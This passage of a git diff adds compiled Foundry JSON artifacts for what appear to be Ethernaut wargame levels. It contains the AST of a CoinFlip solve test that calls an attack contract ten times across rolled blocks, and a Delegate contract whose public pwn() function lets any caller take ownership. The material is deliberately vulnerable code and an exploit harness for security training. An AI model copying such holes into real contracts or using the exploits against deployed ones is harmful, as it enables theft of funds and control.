(bool)"}},"id":59263,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1641:49:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59256,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1629:11:122","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59264,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1629:62:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59265,"nodeType":"ExpressionStatement","src":"1629:62:122"}]},"documentation":{"id":59247,"nodeType":"StructuredDocumentation","src":"1498:63:122","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1575:8:122","parameters":{"id":59248,"nodeType":"ParameterList","parameters":[],"src":"1583:2:122"},"returnParameters":{"id":59249,"nodeType":"ParameterList","parameters":[],"src":"1593:0:122"},"scope":59327,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59326,"nodeType":"FunctionDefinition","src":"1753:467:122","nodes":[],"body":{"id":59325,"nodeType":"Block","src":"1781:439:122","nodes":[],"statements":[{"expression":{"arguments":[{"id":59274,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59147,"src":"1805:6:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59271,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1791:2:122","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59273,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1794:10:122","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1791:13:122","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59275,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1791:21:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59276,"nodeType":"ExpressionStatement","src":"1791:21:122"},{"assignments":[59279],"declarations":[{"constant":false,"id":59279,"mutability":"mutable","name":"attacker","nameLocation":"1837:8:122","nodeType":"VariableDeclaration","scope":59325,"src":"1822:23:122","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlipAttack_$49164","typeString":"contract CoinFlipAttack"},"typeName":{"id":59278,"nodeType":"UserDefinedTypeName","pathNode":{"id":59277,"name":"CoinFlipAttack","nameLocations":["1822:14:122"],"nodeType":"IdentifierPath","referencedDeclaration":49164,"src":"1822:14:122"},"referencedDeclaration":49164,"src":"1822:14:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlipAttack_$49164","typeString":"contract CoinFlipAttack"}},"visibility":"internal"}],"id":59284,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":59282,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1848:18:122","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_CoinFlipAttack_$49164_$","typeString":"function () returns (contract CoinFlipAttack)"},"typeName":{"id":59281,"nodeType":"UserDefinedTypeName","pathNode":{"id":59280,"name":"CoinFlipAttack","nameLocations":["1852:14:122"],"nodeType":"IdentifierPath","referencedDeclaration":49164,"src":"1852:14:122"},"referencedDeclaration":49164,"src":"1852:14:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlipAttack_$49164","typeString":"contract CoinFlipAttack"}}},"id":59283,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1848:20:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlipAttack_$49164","typeString":"contract CoinFlipAttack"}},"nodeType":"VariableDeclarationStatement","src":"1822:46:122"},{"body":{"id":59313,"nodeType":"Block","src":"2044:98:122","statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":59301,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":59298,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"2066:5:122","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":59299,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2072:6:122","memberName":"number","nodeType":"MemberAccess","src":"2066:12:122","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"31","id":59300,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2081:1:122","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"2066:16:122","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":59295,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2058:2:122","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59297,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2061:4:122","memberName":"roll","nodeType":"MemberAccess","referencedDeclaration":15392,"src":"2058:7:122","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":59302,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2058:25:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59303,"nodeType":"ExpressionStatement","src":"2058:25:122"},{"expression":{"arguments":[{"arguments":[{"id":59309,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59143,"src":"2121:8:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}],"id":59308,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2113:7:122","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59307,"name":"address","nodeType":"ElementaryTypeName","src":"2113:7:122","typeDescriptions":{}}},"id":59310,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2113:17:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":59304,"name":"attacker","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59279,"src":"2097:8:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlipAttack_$49164","typeString":"contract CoinFlipAttack"}},"id":59306,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2106:6:122","memberName":"attack","nodeType":"MemberAccess","referencedDeclaration":49163,"src":"2097:15:122","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$_t_bool_$","typeString":"function (address) external returns (bool)"}},"id":59311,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2097:34:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":59312,"nodeType":"ExpressionStatement","src":"2097:34:122"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":59291,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":59289,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59286,"src":"2031:1:122","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"3130","id":59290,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2035:2:122","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"2031:6:122","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":59314,"initializationExpression":{"assignments":[59286],"declarations":[{"constant":false,"id":59286,"mutability":"mutable","name":"i","nameLocation":"2024:1:122","nodeType":"VariableDeclaration","scope":59314,"src":"2016:9:122","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":59285,"name":"uint256","nodeType":"ElementaryTypeName","src":"2016:7:122","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":59288,"initialValue":{"hexValue":"30","id":59287,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2028:1:122","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"2016:13:122"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":59293,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"2039:3:122","subExpression":{"id":59292,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59286,"src":"2039:1:122","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":59294,"nodeType":"ExpressionStatement","src":"2039:3:122"},"nodeType":"ForStatement","src":"2011:131:122"},{"expression":{"arguments":[{"arguments":[{"id":59317,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59140,"src":"2183:9:122","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59320,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59143,"src":"2202:8:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}],"id":59319,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2194:7:122","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59318,"name":"address","nodeType":"ElementaryTypeName","src":"2194:7:122","typeDescriptions":{}}},"id":59321,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2194:17:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59316,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2163:19:122","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59322,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2163:49:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59315,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2152:10:122","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59323,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2152:61:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59324,"nodeType":"ExpressionStatement","src":"2152:61:122"}]},"documentation":{"id":59268,"nodeType":"StructuredDocumentation","src":"1704:44:122","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1762:9:122","parameters":{"id":59269,"nodeType":"ParameterList","parameters":[],"src":"1771:2:122"},"returnParameters":{"id":59270,"nodeType":"ParameterList","parameters":[],"src":"1781:0:122"},"scope":59327,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":59134,"name":"Test","nameLocations":["428:4:122"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"428:4:122"},"id":59135,"nodeType":"InheritanceSpecifier","src":"428:4:122"},{"baseName":{"id":59136,"name":"Utils","nameLocations":["434:5:122"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"434:5:122"},"id":59137,"nodeType":"InheritanceSpecifier","src":"434:5:122"}],"canonicalName":"TestCoinflip","contractDependencies":[49101,49164,50227,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[59327,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestCoinflip","nameLocation":"412:12:122","scope":59328,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":122} \ No newline at end of file diff --git a/contracts/out/Delegation.sol/Delegate.json b/contracts/out/Delegation.sol/Delegate.json new file mode 100644 index 000000000..03c40494f --- /dev/null +++ b/contracts/out/Delegation.sol/Delegate.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_owner","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"pwn","inputs":[],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5060405161016b38038061016b83398101604081905261002e91610052565b5f80546001600160a01b0319166001600160a01b039290921691909117905561007f565b5f60208284031215610062575f80fd5b81516001600160a01b0381168114610078575f80fd5b9392505050565b60e08061008b5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c80638da5cb5b146034578063dd365b8b14607b575b5f80fd5b5f5460529073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60a85f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b00fea264697066735822122076e1b3cea2eecc6a3605124996c9faa9215602b412a172d566c9aceae72884ec64736f6c63430008180033","sourceMap":"57:175:63:-:0;;;108:59;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;146:5;:14;;-1:-1:-1;;;;;;146:14:63;-1:-1:-1;;;;;146:14:63;;;;;;;;;;57:175;;14:290:155;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;179:16;;-1:-1:-1;;;;;224:31:155;;214:42;;204:70;;270:1;267;260:12;204:70;293:5;14:290;-1:-1:-1;;;14:290:155:o;:::-;57:175:63;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052348015600e575f80fd5b50600436106030575f3560e01c80638da5cb5b146034578063dd365b8b14607b575b5f80fd5b5f5460529073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60a85f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b00fea264697066735822122076e1b3cea2eecc6a3605124996c9faa9215602b412a172d566c9aceae72884ec64736f6c63430008180033","sourceMap":"57:175:63:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;81:20;;;;;;;;;;;;190:42:155;178:55;;;160:74;;148:2;133:18;81:20:63;;;;;;;173:57;;205:5;:18;;;;213:10;205:18;;;173:57;;","linkReferences":{}},"methodIdentifiers":{"owner()":"8da5cb5b","pwn()":"dd365b8b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pwn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Delegation.sol\":\"Delegate\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Delegation.sol\":{\"keccak256\":\"0x25716599c51153d0049c60fc57e189baeab95f360c9b136b397d609260f2b716\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ea06e7fa81b5e55e371f1b2aeef2f996662501ee40874abd0d19243389e670f3\",\"dweb:/ipfs/QmQUirdszW4fPAV9hmyNFhDzrTsPvM63mCBfor7rYn1gYL\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"pwn"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Delegation.sol":"Delegate"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Delegation.sol":{"keccak256":"0x25716599c51153d0049c60fc57e189baeab95f360c9b136b397d609260f2b716","urls":["bzz-raw://ea06e7fa81b5e55e371f1b2aeef2f996662501ee40874abd0d19243389e670f3","dweb:/ipfs/QmQUirdszW4fPAV9hmyNFhDzrTsPvM63mCBfor7rYn1gYL"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Delegation.sol","id":50295,"exportedSymbols":{"Delegate":[50251],"Delegation":[50294]},"nodeType":"SourceUnit","src":"32:551:63","nodes":[{"id":50229,"nodeType":"PragmaDirective","src":"32:23:63","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":50251,"nodeType":"ContractDefinition","src":"57:175:63","nodes":[{"id":50231,"nodeType":"VariableDeclaration","src":"81:20:63","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"96:5:63","scope":50251,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50230,"name":"address","nodeType":"ElementaryTypeName","src":"81:7:63","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":50241,"nodeType":"FunctionDefinition","src":"108:59:63","nodes":[],"body":{"id":50240,"nodeType":"Block","src":"136:31:63","nodes":[],"statements":[{"expression":{"id":50238,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50236,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50231,"src":"146:5:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":50237,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50233,"src":"154:6:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"146:14:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50239,"nodeType":"ExpressionStatement","src":"146:14:63"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50234,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50233,"mutability":"mutable","name":"_owner","nameLocation":"128:6:63","nodeType":"VariableDeclaration","scope":50241,"src":"120:14:63","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50232,"name":"address","nodeType":"ElementaryTypeName","src":"120:7:63","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"119:16:63"},"returnParameters":{"id":50235,"nodeType":"ParameterList","parameters":[],"src":"136:0:63"},"scope":50251,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50250,"nodeType":"FunctionDefinition","src":"173:57:63","nodes":[],"body":{"id":50249,"nodeType":"Block","src":"195:35:63","nodes":[],"statements":[{"expression":{"id":50247,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50244,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50231,"src":"205:5:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":50245,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"213:3:63","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50246,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"217:6:63","memberName":"sender","nodeType":"MemberAccess","src":"213:10:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"205:18:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50248,"nodeType":"ExpressionStatement","src":"205:18:63"}]},"functionSelector":"dd365b8b","implemented":true,"kind":"function","modifiers":[],"name":"pwn","nameLocation":"182:3:63","parameters":{"id":50242,"nodeType":"ParameterList","parameters":[],"src":"185:2:63"},"returnParameters":{"id":50243,"nodeType":"ParameterList","parameters":[],"src":"195:0:63"},"scope":50251,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Delegate","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50251],"name":"Delegate","nameLocation":"66:8:63","scope":50295,"usedErrors":[],"usedEvents":[]},{"id":50294,"nodeType":"ContractDefinition","src":"234:348:63","nodes":[{"id":50253,"nodeType":"VariableDeclaration","src":"260:20:63","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"275:5:63","scope":50294,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50252,"name":"address","nodeType":"ElementaryTypeName","src":"260:7:63","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":50256,"nodeType":"VariableDeclaration","src":"286:17:63","nodes":[],"constant":false,"mutability":"mutable","name":"delegate","nameLocation":"295:8:63","scope":50294,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"},"typeName":{"id":50255,"nodeType":"UserDefinedTypeName","pathNode":{"id":50254,"name":"Delegate","nameLocations":["286:8:63"],"nodeType":"IdentifierPath","referencedDeclaration":50251,"src":"286:8:63"},"referencedDeclaration":50251,"src":"286:8:63","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}},"visibility":"internal"},{"id":50273,"nodeType":"FunctionDefinition","src":"310:120:63","nodes":[],"body":{"id":50272,"nodeType":"Block","src":"348:82:63","nodes":[],"statements":[{"expression":{"id":50265,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50261,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50256,"src":"358:8:63","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":50263,"name":"_delegateAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50258,"src":"378:16:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50262,"name":"Delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50251,"src":"369:8:63","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Delegate_$50251_$","typeString":"type(contract Delegate)"}},"id":50264,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"369:26:63","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}},"src":"358:37:63","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}},"id":50266,"nodeType":"ExpressionStatement","src":"358:37:63"},{"expression":{"id":50270,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50267,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50253,"src":"405:5:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":50268,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"413:3:63","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50269,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"417:6:63","memberName":"sender","nodeType":"MemberAccess","src":"413:10:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"405:18:63","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50271,"nodeType":"ExpressionStatement","src":"405:18:63"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50259,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50258,"mutability":"mutable","name":"_delegateAddress","nameLocation":"330:16:63","nodeType":"VariableDeclaration","scope":50273,"src":"322:24:63","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50257,"name":"address","nodeType":"ElementaryTypeName","src":"322:7:63","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"321:26:63"},"returnParameters":{"id":50260,"nodeType":"ParameterList","parameters":[],"src":"348:0:63"},"scope":50294,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50293,"nodeType":"FunctionDefinition","src":"436:144:63","nodes":[],"body":{"id":50292,"nodeType":"Block","src":"456:124:63","nodes":[],"statements":[{"assignments":[50277,null],"declarations":[{"constant":false,"id":50277,"mutability":"mutable","name":"result","nameLocation":"472:6:63","nodeType":"VariableDeclaration","scope":50292,"src":"467: